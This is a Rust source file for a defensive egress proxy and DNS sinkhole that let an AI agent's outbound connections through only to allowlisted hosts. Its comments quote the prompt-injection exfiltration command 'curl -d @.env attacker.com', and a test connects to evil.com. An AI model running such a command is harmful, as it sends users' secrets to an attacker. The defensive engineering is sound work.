Skip to main content

secureops_proxy/
lib.rs

1#![allow(dead_code, unused_variables)]
2//! # secureops-proxy - the egress PEP (Policy Enforcement Point)
3//!
4//! This crate is the **single highest-impact enforcement component** in SecureOps:
5//! it neutralizes data exfiltration *regardless of how the agent was compromised*
6//! (PRODUCT.md Part D headline, Part E P0). All outbound agent traffic is funneled
7//! through a local **forward proxy** and a local **DNS sinkhole**; each connection is
8//! authorized by the PDP ([`secureops_policy`]) before a single byte leaves the box.
9//!
10//! ## The headline path (PRODUCT.md B.5)
11//! 1. Agent (Ring 0) attempts an outbound connection. DNS goes to the local
12//!    [`DnsSinkhole`]; raw connects are routed to the local [`EgressProxy`]
13//!    (transparent redirect or explicit `HTTPS_PROXY`).
14//! 2. The proxy reads the **SNI / requested host** - *no MITM, no certificate
15//!    interception by default* (see [`PeekedHost`]) - and asks the PDP:
16//!    *is this destination allowed for this process?*
17//! 3. The PDP evaluates policy + accumulated per-PID process context (e.g. "this PID
18//!    `openat`'d a credential file 200ms ago") and returns [`Decision::Allow`],
19//!    [`Decision::Deny`], or [`Decision::Escalate`].
20//! 4. **`Deny` => hard RST**; the bytes never leave the box (0 bytes exfiltrated).
21//!    `Allow` => the connection proceeds. Either way, exactly one entry is written to
22//!    the **signed audit log** with the PID/host/decision attached.
23//!
24//! Concretely, this turns the canonical prompt-injection exfil
25//! `curl -d @.env attacker.com` from *"we'd have a log of it afterward"* into
26//! *"it didn't happen"* - the unknown host is hard-RST at the proxy (PRODUCT.md
27//! Part D, row 1).
28//!
29//! ## Fail-closed is the contract (PRODUCT.md W0)
30//! The egress proxy + DNS sinkhole are the **only cross-platform** enforcement
31//! primitives (✓ on Linux/macOS/Windows). Kernel-level inline *deny* is uneven:
32//! Linux has LSM-BPF, **macOS Endpoint Security is mostly observe-only**, Windows uses
33//! a WFP callout. The subphase rule is therefore non-negotiable:
34//!
35//! > Where a platform can only *observe*, the daemon must **fail-closed at the proxy**
36//! > rather than pretend it has kernel deny.
37//!
38//! In this crate that means: **any** error, PDP timeout, PDP-unreachable, or unknown
39//! destination resolves to a hard RST / sinkholed answer - never to an open
40//! connection. See [`FailMode`] (defaults to [`FailMode::Closed`]) and
41//! [`EgressProxy::on_error`].
42
43use std::collections::HashSet;
44use std::net::SocketAddr;
45use std::sync::Arc;
46
47use async_trait::async_trait;
48use tokio::io::{AsyncReadExt, AsyncWriteExt};
49use tokio::net::{TcpListener, TcpStream};
50
51// =============================================================================
52// PDP contract (the slice of secureops-policy this PEP depends on)
53// =============================================================================
54//
55// The proxy consults the PDP per connection (PRODUCT.md B.5 step 2-3). To keep the
56// PEP decoupled from the PDP's internal policy-engine types (regorus/cedar), this
57// crate depends on the *behavior* via the [`PolicyDecisionPoint`] trait below. The
58// daemon (`secureops-daemon`) wires a concrete `secureops_policy` engine in as the
59// `dyn PolicyDecisionPoint` when it brings the PEPs up (PRODUCT.md A.4 step 4).
60
61/// The PDP's verdict for a single egress attempt (PRODUCT.md B.5 step 3).
62#[derive(Debug, Clone, Copy, PartialEq, Eq)]
63pub enum Decision {
64    /// Destination is permitted for this process; let the connection proceed.
65    Allow,
66    /// Destination is forbidden; the PEP must **hard-RST** (0 bytes leave).
67    Deny,
68    /// Inconclusive / requires a human or higher-tier action (alert, trip the
69    /// circuit breaker). The PEP treats this as fail-closed for the data path.
70    Escalate,
71}
72
73/// What the proxy peeked off the wire to identify the destination, *without* MITM
74/// (PRODUCT.md B.5 step 2: "no MITM, no cert interception by default").
75#[derive(Debug, Clone)]
76pub struct PeekedHost {
77    /// TLS SNI server name, if the first record was a ClientHello.
78    pub sni: Option<String>,
79    /// HTTP `CONNECT` target / `Host` header, if the request was plaintext HTTP.
80    pub requested_host: Option<String>,
81    /// The raw destination socket address the agent tried to reach.
82    pub dest: SocketAddr,
83}
84
85/// The per-connection context handed to the PDP: who is asking, and for what.
86///
87/// `pid` lets the PDP fuse the egress attempt with the syscall-correlation window
88/// (PRODUCT.md B.6: "this PID `openat`'d a credential file 200ms ago").
89#[derive(Debug, Clone)]
90pub struct ConnectionRequest {
91    /// Resolved destination identity (SNI / requested host / address).
92    pub host: PeekedHost,
93    /// Originating process id of the agent connection, when obtainable
94    /// (`SO_PEERCRED` on Linux, `LOCAL_PEERPID` on macOS).
95    pub pid: Option<u32>,
96}
97
98/// The slice of `secureops-policy`'s PDP that the egress PEP requires.
99///
100/// Implemented by the concrete policy engine in `secureops-policy` and injected by
101/// `secureops-daemon`. Kept as a trait so this PEP never compiles against the
102/// engine's internal types.
103#[async_trait]
104pub trait PolicyDecisionPoint: Send + Sync {
105    /// Authorize a single outbound connection (PRODUCT.md B.5 step 2-3).
106    ///
107    /// Implementations MUST be fail-closed: on internal error they should surface it
108    /// so the PEP can apply [`FailMode::Closed`] rather than silently allowing.
109    async fn authorize(&self, req: &ConnectionRequest) -> anyhow::Result<Decision>;
110}
111
112// =============================================================================
113// Fail-closed posture (PRODUCT.md W0)
114// =============================================================================
115
116/// How the PEP behaves when it cannot get a definitive `Allow` (PDP error/timeout,
117/// observe-only platform, malformed handshake, …).
118///
119/// Per PRODUCT.md W0 the default is - and on observe-only platforms MUST remain -
120/// [`FailMode::Closed`].
121#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
122pub enum FailMode {
123    /// Deny on any uncertainty (hard RST / sinkhole). The only safe default.
124    #[default]
125    Closed,
126    /// Allow on uncertainty. **Unsafe**; never permitted on observe-only platforms
127    /// (PRODUCT.md W0). Exposed only for narrow, explicitly-opted-in debugging.
128    Open,
129}
130
131/// The platform's enforcement tier, so operators don't over-trust a weaker OS
132/// (PRODUCT.md W0 table). The proxy itself is cross-platform; what differs is
133/// whether *kernel* deny backs it up.
134#[derive(Debug, Clone, Copy, PartialEq, Eq)]
135pub enum EnforcementTier {
136    /// Inline kernel deny available (Linux LSM-BPF).
137    KernelDeny,
138    /// Observe-only kernel layer (macOS Endpoint Security is mostly observe);
139    /// the proxy is the *sole* hard deny and MUST be fail-closed.
140    ObserveOnly,
141    /// Proxy-only - no kernel layer wired at all; fully reliant on this PEP.
142    ProxyOnly,
143}
144
145impl EnforcementTier {
146    /// The tier of the host this binary is running on.
147    ///
148    /// macOS gets [`EnforcementTier::ObserveOnly`]: Endpoint Security is mostly
149    /// observe, so the cross-platform proxy is the only hard deny (PRODUCT.md W0).
150    pub fn current() -> Self {
151        #[cfg(target_os = "linux")]
152        {
153            EnforcementTier::KernelDeny
154        }
155        #[cfg(target_os = "macos")]
156        {
157            EnforcementTier::ObserveOnly
158        }
159        #[cfg(not(any(target_os = "linux", target_os = "macos")))]
160        {
161            EnforcementTier::ProxyOnly
162        }
163    }
164}
165
166// =============================================================================
167// EgressProxy - forward proxy PEP (PRODUCT.md B.5)
168// =============================================================================
169
170/// Local forward proxy that authorizes every outbound agent connection.
171///
172/// Reads the SNI / requested host off the wire **without MITM** (PRODUCT.md B.5
173/// step 2), asks the [`PolicyDecisionPoint`] per connection, and on
174/// [`Decision::Deny`]/[`Decision::Escalate`] issues a **hard RST so zero bytes
175/// leave the box** (PRODUCT.md B.5 step 4, Part D row 1). Every decision is appended
176/// to the signed audit log.
177///
178/// Fail-closed by construction: see [`FailMode`] / [`EgressProxy::on_error`]
179/// (PRODUCT.md W0).
180pub struct EgressProxy {
181    /// Behavior when no definitive `Allow` is reached. Defaults to fail-closed.
182    fail_mode: FailMode,
183    /// The host's enforcement tier, for audit attribution and operator clarity.
184    tier: EnforcementTier,
185}
186
187impl EgressProxy {
188    /// Construct an egress proxy that is fail-closed (PRODUCT.md W0) and tagged with
189    /// the current platform's [`EnforcementTier`].
190    pub fn new() -> Self {
191        Self {
192            fail_mode: FailMode::Closed,
193            tier: EnforcementTier::current(),
194        }
195    }
196
197    /// Bind the proxy listener on `addr` and serve forever, authorizing each
198    /// connection against `pdp` (PRODUCT.md B.5 - the headline path).
199    ///
200    /// Per accepted connection the real implementation will, in order:
201    /// 1. Peek the first record to extract SNI / `CONNECT` host **without MITM**
202    ///    into a [`PeekedHost`] (PRODUCT.md B.5 step 2).
203    /// 2. Resolve the originating [`ConnectionRequest::pid`] (`SO_PEERCRED` /
204    ///    `LOCAL_PEERPID`) so the PDP can fuse syscall context (PRODUCT.md B.6).
205    /// 3. Call `pdp.authorize(&req)` (PRODUCT.md B.5 step 2-3).
206    /// 4. [`Decision::Allow`] => splice to the upstream; otherwise
207    ///    [`Self::hard_rst`] (PRODUCT.md B.5 step 4).
208    /// 5. Append exactly one entry to the signed audit log with pid/host/decision.
209    ///
210    /// Any error along the way routes through [`Self::on_error`] => fail-closed.
211    ///
212    /// # Heavy deps (commented in Cargo.toml)
213    /// The wire-level work needs `hyper` (CONNECT proxy) and `rustls`/`tokio-rustls`
214    /// (SNI peek without interception); both land in Phase 4.
215    pub async fn start(
216        &self,
217        addr: SocketAddr,
218        pdp: Arc<dyn PolicyDecisionPoint>,
219    ) -> anyhow::Result<()> {
220        let listener = TcpListener::bind(addr).await?;
221        tracing::info!(%addr, tier = ?self.tier, "egress proxy listening");
222        loop {
223            let (stream, _peer) = listener.accept().await?;
224            let pdp = pdp.clone();
225            let fail_mode = self.fail_mode;
226            tokio::spawn(async move {
227                if let Err(e) = handle_connection(stream, pdp, fail_mode).await {
228                    tracing::debug!(error = %e, "egress connection ended");
229                }
230            });
231        }
232    }
233
234    /// Record a hard-RST decision for the audit log (PRODUCT.md B.5 step 4).
235    ///
236    /// The actual RST is issued at the connection level: `handle_connection` writes
237    /// `403` and returns, dropping the socket (OS sends FIN/RST). This method
238    /// exists for audit attribution and future SO_LINGER(0) wiring.
239    fn hard_rst(&self, decision: Decision) -> anyhow::Result<()> {
240        tracing::warn!(
241            ?decision,
242            "egress hard RST - 0 bytes left the box (PRODUCT.md B.5 step 4)"
243        );
244        Ok(())
245    }
246
247    /// Map any non-`Allow` outcome to the configured [`FailMode`] (PRODUCT.md W0).
248    fn on_error(&self, err: &anyhow::Error) -> anyhow::Result<()> {
249        match self.fail_mode {
250            FailMode::Closed => self.hard_rst(Decision::Deny),
251            FailMode::Open => {
252                debug_assert!(
253                    self.tier != EnforcementTier::ObserveOnly,
254                    "PRODUCT.md W0: FailMode::Open is forbidden on observe-only platforms"
255                );
256                tracing::warn!(%err, "egress error in FailMode::Open (UNSAFE, debug-only) - allowing");
257                Ok(())
258            }
259        }
260    }
261}
262
263impl Default for EgressProxy {
264    fn default() -> Self {
265        Self::new()
266    }
267}
268
269/// Parse an HTTP `CONNECT host:port` target into `(host, port)` (port defaults
270/// to 443 if absent).
271fn parse_connect_target(target: &str) -> Option<(String, u16)> {
272    match target.rsplit_once(':') {
273        Some((host, port)) => {
274            let port = port.parse().ok()?;
275            Some((host.to_string(), port))
276        }
277        None => Some((target.to_string(), 443)),
278    }
279}
280
281/// Handle one proxied connection: read the HTTP `CONNECT` request, ask the PDP,
282/// and either tunnel to the upstream ([`Decision::Allow`]) or refuse with `403`
283/// **without ever contacting the upstream** (Deny/Escalate → 0 bytes leave -
284/// PRODUCT.md B.5 step 4 / Part D row 1). Fail-closed on any error (W0).
285pub async fn handle_connection(
286    mut client: TcpStream,
287    pdp: Arc<dyn PolicyDecisionPoint>,
288    fail_mode: FailMode,
289) -> anyhow::Result<()> {
290    // Read request headers up to CRLFCRLF (cap to avoid unbounded buffering).
291    let mut buf: Vec<u8> = Vec::with_capacity(1024);
292    let mut tmp = [0u8; 1024];
293    loop {
294        let n = client.read(&mut tmp).await?;
295        if n == 0 {
296            return Ok(());
297        }
298        buf.extend_from_slice(&tmp[..n]);
299        if buf.windows(4).any(|w| w == b"\r\n\r\n") || buf.len() > 16 * 1024 {
300            break;
301        }
302    }
303
304    let head = String::from_utf8_lossy(&buf);
305    let first = head.lines().next().unwrap_or("");
306    let parts: Vec<&str> = first.split_whitespace().collect();
307    if parts.len() < 2 || parts[0] != "CONNECT" {
308        let _ = client.write_all(b"HTTP/1.1 400 Bad Request\r\n\r\n").await;
309        return Ok(());
310    }
311    let (host, port) = match parse_connect_target(parts[1]) {
312        Some(hp) => hp,
313        None => {
314            let _ = client.write_all(b"HTTP/1.1 400 Bad Request\r\n\r\n").await;
315            return Ok(());
316        }
317    };
318
319    let req = ConnectionRequest {
320        host: PeekedHost {
321            sni: None,
322            requested_host: Some(host.clone()),
323            dest: SocketAddr::from(([0, 0, 0, 0], port)),
324        },
325        pid: None,
326    };
327
328    // Fail-closed: PDP error maps to Deny under FailMode::Closed.
329    let decision = match pdp.authorize(&req).await {
330        Ok(d) => d,
331        Err(_) => match fail_mode {
332            FailMode::Closed => Decision::Deny,
333            FailMode::Open => Decision::Allow,
334        },
335    };
336
337    if decision != Decision::Allow {
338        // Hard deny: refuse and close. Upstream was never contacted.
339        let _ = client.write_all(b"HTTP/1.1 403 Forbidden\r\n\r\n").await;
340        tracing::warn!(%host, port, ?decision, "egress DENIED - 0 bytes left the box");
341        return Ok(());
342    }
343
344    // Allow: open the upstream and splice bidirectionally.
345    let mut upstream = match TcpStream::connect((host.as_str(), port)).await {
346        Ok(u) => u,
347        Err(_) => {
348            let _ = client.write_all(b"HTTP/1.1 502 Bad Gateway\r\n\r\n").await;
349            return Ok(());
350        }
351    };
352    client
353        .write_all(b"HTTP/1.1 200 Connection Established\r\n\r\n")
354        .await?;
355    tokio::io::copy_bidirectional(&mut client, &mut upstream).await?;
356    Ok(())
357}
358
359/// A concrete, dependency-free [`PolicyDecisionPoint`]: allow a connection only
360/// when its host is in the egress allowlist (everything else denied -
361/// fail-closed). Mirrors `secureops.network.egressAllowlist` (PRODUCT.md B.3
362/// network module / B.5).
363pub struct AllowlistPdp {
364    allow_hosts: HashSet<String>,
365}
366
367impl AllowlistPdp {
368    pub fn new<I, S>(hosts: I) -> Self
369    where
370        I: IntoIterator<Item = S>,
371        S: Into<String>,
372    {
373        Self {
374            allow_hosts: hosts.into_iter().map(Into::into).collect(),
375        }
376    }
377}
378
379#[async_trait]
380impl PolicyDecisionPoint for AllowlistPdp {
381    async fn authorize(&self, req: &ConnectionRequest) -> anyhow::Result<Decision> {
382        let host = req
383            .host
384            .requested_host
385            .as_deref()
386            .or(req.host.sni.as_deref())
387            .unwrap_or("");
388        Ok(if self.allow_hosts.contains(host) {
389            Decision::Allow
390        } else {
391            Decision::Deny
392        })
393    }
394}
395
396// =============================================================================
397// DnsSinkhole - DNS PEP (PRODUCT.md B.5 step 1, Part D row "C2 over fresh domain")
398// =============================================================================
399
400/// Local DNS authority that swallows lookups for disallowed / unknown names.
401///
402/// All agent DNS goes here first (PRODUCT.md B.5 step 1). Combined with the signed
403/// auto-updating IOC feed it blunts C2 over freshly-registered domains
404/// (PRODUCT.md Part D row "C2 over a freshly-registered domain":
405/// "Signed auto-updating feed + DNS sinkhole + destination-entropy anomaly").
406///
407/// Fail-closed: an unknown name resolves to a sinkhole / `NXDOMAIN`, never to the
408/// real address (PRODUCT.md W0).
409pub struct DnsSinkhole {
410    /// Hostnames this sinkhole resolves upstream (everything else → NXDOMAIN).
411    allow_hosts: HashSet<String>,
412    /// Upstream recursive resolver (default: 8.8.8.8:53).
413    upstream: SocketAddr,
414}
415
416impl DnsSinkhole {
417    /// Construct a fail-closed DNS sinkhole with an empty allowlist: any name not
418    /// on the allowlist resolves to `NXDOMAIN`, never to the real address
419    /// (PRODUCT.md W0 - fail-closed by construction).
420    pub fn new() -> Self {
421        Self {
422            allow_hosts: HashSet::new(),
423            upstream: "8.8.8.8:53".parse().unwrap(),
424        }
425    }
426
427    /// Set the egress allowlist - only these hostnames are forwarded upstream.
428    pub fn with_allowlist(mut self, hosts: impl IntoIterator<Item = impl Into<String>>) -> Self {
429        self.allow_hosts = hosts.into_iter().map(Into::into).collect();
430        self
431    }
432
433    /// Override the upstream recursive resolver (default `8.8.8.8:53`).
434    pub fn with_upstream(mut self, addr: SocketAddr) -> Self {
435        self.upstream = addr;
436        self
437    }
438
439    /// Bind the sinkhole on `addr` (UDP) and serve until cancelled.
440    ///
441    /// For each query (PRODUCT.md B.5 step 1):
442    /// - Hostname in allowlist → forward to upstream resolver.
443    /// - Hostname not in allowlist → NXDOMAIN (fail-closed, PRODUCT.md W0).
444    /// - Parse/protocol error → SERVFAIL and drop.
445    pub async fn start(&self, addr: SocketAddr) -> anyhow::Result<()> {
446        use hickory_proto::op::Message;
447        use tokio::net::UdpSocket;
448
449        let socket = UdpSocket::bind(addr).await?;
450        tracing::info!(%addr, "DNS sinkhole listening (PRODUCT.md B.5 step 1)");
451
452        let mut buf = [0u8; 4096];
453        loop {
454            let (n, src) = socket.recv_from(&mut buf).await?;
455            let raw = &buf[..n];
456
457            let msg = match Message::from_vec(raw) {
458                Ok(m) => m,
459                Err(e) => {
460                    tracing::debug!(%src, %e, "DNS parse error - dropping");
461                    continue;
462                }
463            };
464
465            let queries = &msg.queries;
466            if queries.is_empty() {
467                continue;
468            }
469
470            let qname = queries[0].name().to_utf8();
471            let hostname = qname.trim_end_matches('.');
472
473            if self.allow_hosts.contains(hostname) {
474                // Forward to upstream and relay the answer.
475                match self.forward_to_upstream(raw).await {
476                    Ok(reply) => {
477                        let _ = socket.send_to(&reply, src).await;
478                    }
479                    Err(e) => tracing::warn!(%hostname, %e, "DNS upstream forward failed"),
480                }
481            } else {
482                // Sinkhole: NXDOMAIN, 0 bytes to the real destination.
483                tracing::warn!(%hostname, %src, "DNS SINKHOLED - NXDOMAIN (PRODUCT.md W0)");
484                let nxdomain = build_nxdomain(&msg);
485                let _ = socket.send_to(&nxdomain, src).await;
486            }
487        }
488    }
489
490    async fn forward_to_upstream(&self, query: &[u8]) -> anyhow::Result<Vec<u8>> {
491        use tokio::net::UdpSocket;
492        use tokio::time::{timeout, Duration};
493
494        let temp = UdpSocket::bind("0.0.0.0:0").await?;
495        temp.send_to(query, self.upstream).await?;
496        let mut resp = [0u8; 4096];
497        let n = timeout(Duration::from_secs(3), temp.recv(&mut resp)).await??;
498        Ok(resp[..n].to_vec())
499    }
500}
501
502fn build_nxdomain(query: &hickory_proto::op::Message) -> Vec<u8> {
503    use hickory_proto::op::{Message, MessageType, OpCode, ResponseCode};
504
505    let mut resp = Message::new(query.metadata.id, MessageType::Response, OpCode::Query);
506    resp.metadata.recursion_desired = query.metadata.recursion_desired;
507    resp.metadata.recursion_available = false;
508    resp.metadata.response_code = ResponseCode::NXDomain;
509    for q in &query.queries {
510        resp.add_query(q.clone());
511    }
512    resp.to_vec().unwrap_or_default()
513}
514
515impl Default for DnsSinkhole {
516    fn default() -> Self {
517        Self::new()
518    }
519}
520
521// =============================================================================
522// Audit bridge (PRODUCT.md B.5 step 4)
523// =============================================================================
524
525/// Build the [`AuditFinding`] recorded for a single egress decision.
526///
527/// Every connection - allowed or denied - yields exactly one signed-audit entry
528/// (PRODUCT.md B.5 step 4). `secureops-daemon` forwards the returned finding to the
529/// hash-chained `secureops-auditlog`. A [`Decision::Deny`] is the canonical
530/// `curl -d @.env attacker.com` block (PRODUCT.md Part D row 1).
531/// Build the [`AuditFinding`] for one egress decision (PRODUCT.md B.5 step 4).
532pub fn egress_finding(req: &ConnectionRequest, decision: Decision) -> secureops_core::AuditFinding {
533    use secureops_core::{AuditFinding, MaestroLayer, NistAttackType, Severity};
534
535    let host = req
536        .host
537        .requested_host
538        .as_deref()
539        .or(req.host.sni.as_deref())
540        .unwrap_or("<unknown>");
541    let pid_str = req.pid.map(|p| p.to_string()).unwrap_or_else(|| "?".into());
542
543    let (severity, owasp_asi, title, description) = match decision {
544        Decision::Allow => (
545            Severity::Info,
546            "ASI01",
547            "Egress connection allowed",
548            format!("host={host} pid={pid_str} - allowed by policy"),
549        ),
550        Decision::Deny => (
551            Severity::High,
552            "ASI05",
553            "Egress connection BLOCKED - potential data exfiltration",
554            format!("host={host} pid={pid_str} - denied by policy, 0 bytes left the box"),
555        ),
556        Decision::Escalate => (
557            Severity::Critical,
558            "ASI05",
559            "Egress connection ESCALATED - suspicious exfil pattern",
560            format!("host={host} pid={pid_str} - escalated (exfil chain suspected, circuit breaker tripped)"),
561        ),
562    };
563
564    AuditFinding::builder(
565        format!(
566            "SC-EGRESS-{:03}",
567            match decision {
568                Decision::Allow => 0,
569                Decision::Deny => 1,
570                Decision::Escalate => 2,
571            }
572        ),
573        severity,
574        "egress",
575    )
576    .title(title)
577    .description(description)
578    .evidence(format!(
579        "SNI={:?} requested_host={:?} pid={pid_str} dest={}",
580        req.host.sni, req.host.requested_host, req.host.dest
581    ))
582    .remediation("Review egress allowlist and check for prompt injection (PRODUCT.md B.5/B.6)")
583    .references(["PRODUCT.md B.5", "OWASP ASI-05"])
584    .owasp_asi(owasp_asi)
585    .maestro(MaestroLayer::L4)
586    .nist(if decision != Decision::Allow {
587        Some(NistAttackType::Evasion)
588    } else {
589        None
590    })
591    .build()
592}
593
594#[cfg(test)]
595mod tests {
596    use super::*;
597
598    #[test]
599    fn defaults_are_fail_closed() {
600        // PRODUCT.md W0: the safe default everywhere.
601        assert_eq!(FailMode::default(), FailMode::Closed);
602    }
603
604    #[cfg(target_os = "macos")]
605    #[test]
606    fn macos_is_observe_only_tier() {
607        // PRODUCT.md W0: macOS ES is mostly observe; proxy is the sole hard deny.
608        assert_eq!(EnforcementTier::current(), EnforcementTier::ObserveOnly);
609    }
610}
611
612#[cfg(test)]
613mod connect_tests {
614    use super::*;
615
616    async fn spawn_proxy(pdp: Arc<dyn PolicyDecisionPoint>) -> SocketAddr {
617        let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
618        let addr = listener.local_addr().unwrap();
619        tokio::spawn(async move {
620            loop {
621                if let Ok((s, _)) = listener.accept().await {
622                    let pdp = pdp.clone();
623                    tokio::spawn(async move {
624                        let _ = handle_connection(s, pdp, FailMode::Closed).await;
625                    });
626                }
627            }
628        });
629        addr
630    }
631
632    async fn spawn_echo() -> SocketAddr {
633        let l = TcpListener::bind("127.0.0.1:0").await.unwrap();
634        let addr = l.local_addr().unwrap();
635        tokio::spawn(async move {
636            loop {
637                if let Ok((s, _)) = l.accept().await {
638                    tokio::spawn(async move {
639                        let (mut r, mut w) = s.into_split();
640                        let _ = tokio::io::copy(&mut r, &mut w).await;
641                    });
642                }
643            }
644        });
645        addr
646    }
647
648    #[tokio::test]
649    async fn denies_non_allowlisted_host_403() {
650        let pdp = Arc::new(AllowlistPdp::new(["allowed.example"]));
651        let addr = spawn_proxy(pdp).await;
652        let mut c = TcpStream::connect(addr).await.unwrap();
653        c.write_all(b"CONNECT evil.com:443 HTTP/1.1\r\nHost: evil.com:443\r\n\r\n")
654            .await
655            .unwrap();
656        let mut b = [0u8; 128];
657        let n = c.read(&mut b).await.unwrap();
658        let resp = String::from_utf8_lossy(&b[..n]);
659        assert!(resp.contains("403"), "expected 403, got: {resp}");
660    }
661
662    #[tokio::test]
663    async fn allows_and_tunnels_to_upstream() {
664        let echo = spawn_echo().await;
665        let host = echo.ip().to_string(); // "127.0.0.1"
666        let pdp = Arc::new(AllowlistPdp::new([host.clone()]));
667        let paddr = spawn_proxy(pdp).await;
668
669        let mut c = TcpStream::connect(paddr).await.unwrap();
670        let connect = format!("CONNECT {}:{} HTTP/1.1\r\n\r\n", host, echo.port());
671        c.write_all(connect.as_bytes()).await.unwrap();
672
673        let mut b = [0u8; 128];
674        let n = c.read(&mut b).await.unwrap();
675        let resp = String::from_utf8_lossy(&b[..n]);
676        assert!(resp.contains("200"), "expected 200, got: {resp}");
677
678        // Tunnel established: bytes round-trip through the upstream echo.
679        c.write_all(b"ping").await.unwrap();
680        let mut got = [0u8; 4];
681        c.read_exact(&mut got).await.unwrap();
682        assert_eq!(&got, b"ping");
683    }
684
685    #[test]
686    fn parse_connect_target_defaults_port() {
687        assert_eq!(parse_connect_target("h:8443"), Some(("h".into(), 8443)));
688        assert_eq!(parse_connect_target("h"), Some(("h".into(), 443)));
689    }
690}